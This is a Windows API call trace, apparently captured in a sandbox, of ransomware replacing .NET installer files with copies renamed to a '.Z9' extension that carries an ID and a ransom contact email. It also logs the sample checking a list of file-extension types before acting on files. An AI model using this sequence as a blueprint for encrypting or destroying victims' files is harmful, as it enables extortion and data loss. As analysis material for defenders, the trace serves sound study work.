	[0072.471] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0072.471] lstrlenW (lpString=".rar") returned 4
	[0072.471] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0072.471] lstrlenW (lpString=".bz2") returned 4
	[0072.471] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0072.471] lstrlenW (lpString=".7z") returned 3
	[0072.471] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0072.471] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0072.471] lstrlenW (lpString=".dbf") returned 4
	[0072.471] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0072.471] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0072.471] lstrlenW (lpString=".1cd") returned 4
	[0072.471] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0072.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0072.472] lstrlenW (lpString=".jpg") returned 4
	[0072.472] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0072.472] lstrcmpiW (lpString1=".msi", lpString2=".Z9") returned -1
	[0072.472] lstrlenW (lpString="netfx_Core_x86.msi") returned 18
	[0072.472] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0072.473] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=1163264) returned 1
	[0072.473] CloseHandle (hObject=0x324) returned 1
	[0072.473] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 0x80
	[0072.473] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.473] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0072.473] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.473] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.473] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0072.473] GetLastError () returned 0x0
	[0072.473] ReadFile (in: hFile=0x324, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0072.498] WriteFile (in: hFile=0x350, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0072.940] ReadFile (in: hFile=0x324, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x1c010, lpOverlapped=0x0) returned 1
	[0072.950] WriteFile (in: hFile=0x350, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x1c020, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x1c020, lpOverlapped=0x0) returned 1
	[0072.955] ReadFile (in: hFile=0x324, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.955] WriteFile (in: hFile=0x350, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0072.955] SetEndOfFile (hFile=0x350) returned 1
	[0072.956] CloseHandle (hObject=0x350) returned 1
	[0073.636] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.636] SetEndOfFile (hFile=0x324) returned 1
	[0073.638] CloseHandle (hObject=0x324) returned 1
	[0073.638] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0073.638] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 1
	[0073.639] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0073.639] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0073.639] lstrlenW (lpString=".doc") returned 4
	[0073.639] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0073.639] lstrlenW (lpString=".docx") returned 5
	[0073.639] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1
	[0073.639] lstrlenW (lpString=".pdf") returned 4
	[0073.639] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0073.639] lstrlenW (lpString=".xls") returned 4
	[0073.639] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0073.639] lstrlenW (lpString=".xlsx") returned 5
	[0073.639] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1
	[0073.639] lstrlenW (lpString=".ppt") returned 4
	[0073.639] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0073.639] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0073.639] lstrlenW (lpString=".zip") returned 4
	[0073.639] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0073.639] lstrlenW (lpString=".rar") returned 4
	[0073.639] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0073.639] lstrlenW (lpString=".bz2") returned 4
	[0073.639] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0073.639] lstrlenW (lpString=".7z") returned 3
	[0073.639] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0073.639] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0073.639] lstrlenW (lpString=".dbf") returned 4
	[0073.639] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0073.639] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0073.639] lstrlenW (lpString=".1cd") returned 4
	[0073.639] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0073.639] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0073.639] lstrlenW (lpString=".jpg") returned 4
	[0073.639] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0073.640] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0073.640] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0073.640] lstrlenW (lpString=".doc") returned 4
	[0073.640] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0073.640] lstrlenW (lpString=".docx") returned 5
	[0073.640] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1
	[0073.640] lstrlenW (lpString=".pdf") returned 4
	[0073.640] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0073.640] lstrlenW (lpString=".xls") returned 4
	[0073.640] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0073.640] lstrlenW (lpString=".xlsx") returned 5
	[0073.640] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1
	[0073.640] lstrlenW (lpString=".ppt") returned 4
	[0073.640] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0073.640] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0073.640] lstrlenW (lpString=".zip") returned 4
	[0073.640] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0073.640] lstrlenW (lpString=".rar") returned 4
	[0073.640] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0073.640] lstrlenW (lpString=".bz2") returned 4
	[0073.640] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0073.640] lstrlenW (lpString=".7z") returned 3
	[0073.640] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0073.640] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0073.640] lstrlenW (lpString=".dbf") returned 4
	[0073.640] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0073.640] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0073.640] lstrlenW (lpString=".1cd") returned 4
	[0073.640] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0073.640] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0073.640] lstrlenW (lpString=".jpg") returned 4
	[0073.641] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0073.641] lstrcmpiW (lpString1=".msi", lpString2=".Z9") returned -1
	[0073.641] lstrlenW (lpString="netfx_Extended_x64.msi") returned 22
	[0073.641] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0073.642] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=872448) returned 1
	[0073.642] CloseHandle (hObject=0x324) returned 1
	[0073.642] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 0x80
	[0073.642] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0073.642] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0073.642] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.642] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.642] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0073.643] GetLastError () returned 0x0
	[0073.643] ReadFile (in: hFile=0x324, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0xd5000, lpOverlapped=0x0) returned 1
	[0073.661] WriteFile (in: hFile=0x350, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xd5010, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xd5010, lpOverlapped=0x0) returned 1
	[0074.181] ReadFile (in: hFile=0x324, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.181] WriteFile (in: hFile=0x350, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x100, lpOverlapped=0x0) returned 1
	[0074.181] SetEndOfFile (hFile=0x350) returned 1
	[0074.181] CloseHandle (hObject=0x350) returned 1
	[0074.197] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.197] SetEndOfFile (hFile=0x324) returned 1
	[0074.206] CloseHandle (hObject=0x324) returned 1
	[0074.206] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0074.206] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 1
	[0074.206] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0074.206] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0074.206] lstrlenW (lpString=".doc") returned 4
	[0074.206] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0074.207] lstrlenW (lpString=".docx") returned 5
	[0074.207] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1
	[0074.207] lstrlenW (lpString=".pdf") returned 4
	[0074.207] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0074.207] lstrlenW (lpString=".xls") returned 4
	[0074.207] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0074.207] lstrlenW (lpString=".xlsx") returned 5
	[0074.207] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1
	[0074.207] lstrlenW (lpString=".ppt") returned 4
	[0074.207] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0074.207] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0074.207] lstrlenW (lpString=".zip") returned 4
	[0074.207] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0074.207] lstrlenW (lpString=".rar") returned 4
	[0074.207] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0074.207] lstrlenW (lpString=".bz2") returned 4
	[0074.207] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0074.207] lstrlenW (lpString=".7z") returned 3
	[0074.207] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0074.207] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0074.207] lstrlenW (lpString=".dbf") returned 4
	[0074.207] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0074.207] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0074.207] lstrlenW (lpString=".1cd") returned 4
	[0074.207] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0074.207] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0074.207] lstrlenW (lpString=".jpg") returned 4
	[0074.207] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0074.207] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0074.207] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0074.207] lstrlenW (lpString=".doc") returned 4
	[0074.207] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0074.207] lstrlenW (lpString=".docx") returned 5
	[0074.207] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1
	[0074.207] lstrlenW (lpString=".pdf") returned 4
	[0074.208] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0074.208] lstrlenW (lpString=".xls") returned 4
	[0074.208] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0074.208] lstrlenW (lpString=".xlsx") returned 5
	[0074.208] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1
	[0074.208] lstrlenW (lpString=".ppt") returned 4
	[0074.208] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0074.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0074.208] lstrlenW (lpString=".zip") returned 4
	[0074.208] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0074.208] lstrlenW (lpString=".rar") returned 4
	[0074.208] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0074.208] lstrlenW (lpString=".bz2") returned 4
	[0074.208] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0074.208] lstrlenW (lpString=".7z") returned 3
	[0074.208] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0074.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0074.208] lstrlenW (lpString=".dbf") returned 4
	[0074.208] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0074.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0074.208] lstrlenW (lpString=".1cd") returned 4
	[0074.208] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0074.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0074.208] lstrlenW (lpString=".jpg") returned 4
	[0074.208] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0074.208] lstrcmpiW (lpString1=".msi", lpString2=".Z9") returned -1
	[0074.208] lstrlenW (lpString="netfx_Extended_x86.msi") returned 22
	[0074.208] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0074.209] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=495616) returned 1
	[0074.209] CloseHandle (hObject=0x324) returned 1
	[0074.209] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 0x80
	[0074.209] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0074.209] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0074.209] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.209] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.209] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0074.209] GetLastError () returned 0x0
	[0074.209] ReadFile (in: hFile=0x324, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x79000, lpOverlapped=0x0) returned 1
	[0074.503] WriteFile (in: hFile=0x350, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x79010, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x79010, lpOverlapped=0x0) returned 1
	[0074.511] ReadFile (in: hFile=0x324, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.511] WriteFile (in: hFile=0x350, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x100, lpOverlapped=0x0) returned 1
	[0074.511] SetEndOfFile (hFile=0x350) returned 1
	[0074.511] CloseHandle (hObject=0x350) returned 1
	[0074.522] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.522] SetEndOfFile (hFile=0x324) returned 1
	[0074.526] CloseHandle (hObject=0x324) returned 1
	[0074.527] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0074.527] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 1
	[0074.527] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0074.527] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0074.527] lstrlenW (lpString=".doc") returned 4
	[0074.527] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0074.527] lstrlenW (lpString=".docx") returned 5
	[0074.527] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1
	[0074.527] lstrlenW (lpString=".pdf") returned 4
	[0074.527] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0074.527] lstrlenW (lpString=".xls") returned 4
	[0074.528] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0074.528] lstrlenW (lpString=".xlsx") returned 5
	[0074.528] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1
	[0074.528] lstrlenW (lpString=".ppt") returned 4
	[0074.528] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0074.528] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0074.528] lstrlenW (lpString=".zip") returned 4
	[0074.528] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0074.528] lstrlenW (lpString=".rar") returned 4
	[0074.528] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0074.528] lstrlenW (lpString=".bz2") returned 4
	[0074.528] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0074.528] lstrlenW (lpString=".7z") returned 3
	[0074.528] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0074.528] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0074.528] lstrlenW (lpString=".dbf") returned 4
	[0074.528] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0074.528] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0074.528] lstrlenW (lpString=".1cd") returned 4
	[0074.528] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0074.528] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0074.528] lstrlenW (lpString=".jpg") returned 4
	[0074.528] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0074.528] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0074.528] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0074.528] lstrlenW (lpString=".doc") returned 4
	[0074.528] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0074.528] lstrlenW (lpString=".docx") returned 5
	[0074.528] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1
	[0074.528] lstrlenW (lpString=".pdf") returned 4
	[0074.528] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0074.528] lstrlenW (lpString=".xls") returned 4
	[0074.529] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0074.529] lstrlenW (lpString=".xlsx") returned 5
	[0074.529] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1
	[0074.529] lstrlenW (lpString=".ppt") returned 4
	[0074.529] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0074.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0074.529] lstrlenW (lpString=".zip") returned 4
	[0074.529] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0074.529] lstrlenW (lpString=".rar") returned 4
	[0074.529] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0074.529] lstrlenW (lpString=".bz2") returned 4
	[0074.529] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0074.529] lstrlenW (lpString=".7z") returned 3
	[0074.529] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0074.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0074.529] lstrlenW (lpString=".dbf") returned 4
	[0074.529] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0074.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0074.529] lstrlenW (lpString=".1cd") returned 4
	[0074.529] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0074.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0074.529] lstrlenW (lpString=".jpg") returned 4
	[0074.529] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0074.529] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0074.529] lstrlenW (lpString="SetupEngine.dll") returned 15
	[0074.529] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0074.530] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=807256) returned 1
	[0074.530] CloseHandle (hObject=0x324) returned 1
